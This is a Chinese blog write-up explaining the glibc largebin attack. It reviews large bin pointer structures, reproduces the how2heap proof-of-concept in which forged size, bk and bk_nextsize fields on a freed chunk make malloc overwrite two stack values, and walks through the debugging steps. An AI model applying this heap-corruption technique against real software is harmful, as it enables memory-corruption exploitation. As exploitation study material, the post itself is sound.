[how2heap]largebin_attack

参考:
hollk师傅的博客:
https://hollk.blog.csdn.net/?type=blog

回顾unsorted bin 分配

关于unsorted bins的来源,主要有三种情况:

  • 如果一个chunk与top chunk不相邻,并且大小大于0x80(即不属于fastbins),在被free后会加入到unsorted bins中;
  • 申请chunk时有时会从一个比较大的chunk中分割成两半,一部分用来分配内存,另一部分则是会加入到unsotred bins中;
  • 当执行malloc_consolidate合并空闲堆块时,如果这个chunk不与top chunk相连,有可能会把合并后的chunk放在unsorted bin中;

 在执行malloc的时候,如果在fastbin、smallbin都没有找到合适大小的块,就会在unsorted bin中进行遍历,搜索合适大小的chunk,同时会顺便把unsortedbin中的chunk进行排序,根据chunk的大小放到合适的位置;

 unsorted bin的特点是,匹配时会用bk从后向前遍历,对没有排序的chunk进行sort并unlink,如果遇到合适的chunk就会将其unlink并malloc分配;

fd_nextsize、bk_nextsize

 再来回顾一下 chunk 的结构,与之前不同的,large bin 开始用到 fd_nextsize、bk_nextsize

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

fd_nextsize、bk_nextsize

  • 也是只有chunk空闲的时候才使用,不过其用于较大的chunk(large chunk):
  • fd_nextsize:指向前一个与当前 chunk 大小不同的第一个空闲块,不包含bin的头指针。
  • bk_nextsize:指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小排列。便于寻找合适 chunk 。

bin链:

  • 按照大小从大到小排序
  • 若大小相同,按照free时间排序
  • 若干个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
  • size最大的chunk的bk_nextsize指向最小的chunk; size最小的chunk的fd_nextsize指向最大的chunk

largebin attack

 学习 large bin attack 的前提是清楚 fastbin,unsorted bin 分配的流程。

CTFwiki 对 largebin attack 的解释:

 这种攻击方式主要利用的是 chunk 进入 bin 中的操作,在 malloc 的时候,遍历 unsorted bin 时,对每一个 chunk,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中,而此过程中缺乏对 largebin 的跳表指针的检测。

我的理解:也是在链表形成前利用溢出或覆盖修改节点的指针值,干扰链表的正常形成,构造特殊的地址使得利用链表形成来达到目的。

高版本 libc 加入了对 largebin 跳表的完整性检查

how2heap

源码:

#include<stdio.h>
#include<stdlib.h>

int main()
{
    fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "先来看一下目标:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

    fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
    malloc(0x20);

    sleep(1);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

    sleep(1);

    fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);

    sleep(1);

    fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
    malloc(0x20);

    sleep(1);

    free(p1);
    free(p2);
    fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    sleep(1);

    malloc(0x90);
    fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    sleep(1);

    free(p3);
    fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    sleep(1);

    fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
    fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    sleep(1);

    malloc(0x90);
    fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");

    sleep(1);

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    return 0;
}

调试

sleep()仅用于方便下断点调试,我们一步一步慢慢来
第一个sleep()
输出:

  • 两个目标地址0x7fffffffe2e0、0x7fffffffe2e8
  • 第一个 large chunk 地址:0x55555555b000

file

内存:
file

第二个sleep()
输出:

  • 第二个 large chunk 地址:0x55555555b360

file

内存:

file

第三个sleep()
输出:

  • 第三个large chunk 地址:0x55555555b7a0

file

内存:
file

第五个sleep()
输出:
file

内存:
file

至此初始申请 chunk 结束

第六个sleep()
输出:

  • free 掉 chunk1 和 chunk2
    file

内存:

  • 两个 free chunk 都还在 unsorted bin
  • unsorted_chunk1_fd->main_arena<-unsorted_chunk2_bk
  • unsorted_chunk1_bk->unsorted_chunk2
  • unsorted_chunk2_fd->unsorted_chunk1

file

file

第七个sleep()
输出:

  • 再申请一个 0x90 的 chunk,malloc(0x90),根据 FIFO 将从 unsorted bin chunk1 中分割。

file

内存:

  • 分割之后原来的 unsorted chunk1 剩下部分依然属于 unsorted bin,而之前的 unsorted bin chunk2 列入 large bin

file

这里malloc(0x90)背后做了很多事:

  • 从unsorted bin中拿出最后一个chunk(P1)
  • 把这个chunk(P1)放进small bin中,并标记这个small bin中有空闲的chunk
  • 从unsorted bin中拿出最后一个chunk(P2)(P1被拿走之后P2就作为最后一个chunk了)
  • 把这个chunk(P2)放进large bin中,并标记这个large bin有空先的chunk
  • 现在unsorted bin中为空,从small bin中的P1中分割出一个小chunk,满足请求的P4,并把剩下的chunk(0x330 - 0xa0后记P1_left)放回unsorted bin中

第八个sleep()
输出:

  • free 掉 chunk3

file

内存:

  • free 掉的 chunk3 进入先 unsorted bin,原来分割剩下的 chunk1 依然属于 unsorted bin

file

第九个sleep()

输出:

  • 利用其它漏洞覆写 chunk2 的 size、bk、bk_nextsize,注意 chunk2 的地址为 0x55555555b360,但是p2的值为 0x55555555b370。

file

内存:
file

file

到这里再回过来看一下:
两个目标地址:0x7fffffffe2e0、0x7fffffffe2e8
large chunk1:0x55555555b000
large chunk2:0x55555555b360
large chunk3:0x55555555b7a0

第十个sleep()
输出:
file

内存:

  • 可见目标地址已经修改

file

在第八个sleep时,chunk3 进入了unsorted bin ,此时执行malloc(0x90),将会再次同上次申请0x90时一样,这里 chunk3 进入large bin,但是large bin 并不为空,已经存在刚才修改过的 chunk2 ,此时 chunk3 进入将会对 large bin 进行重新排序,这个从新排序的操作,就是覆写目标地址了。

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据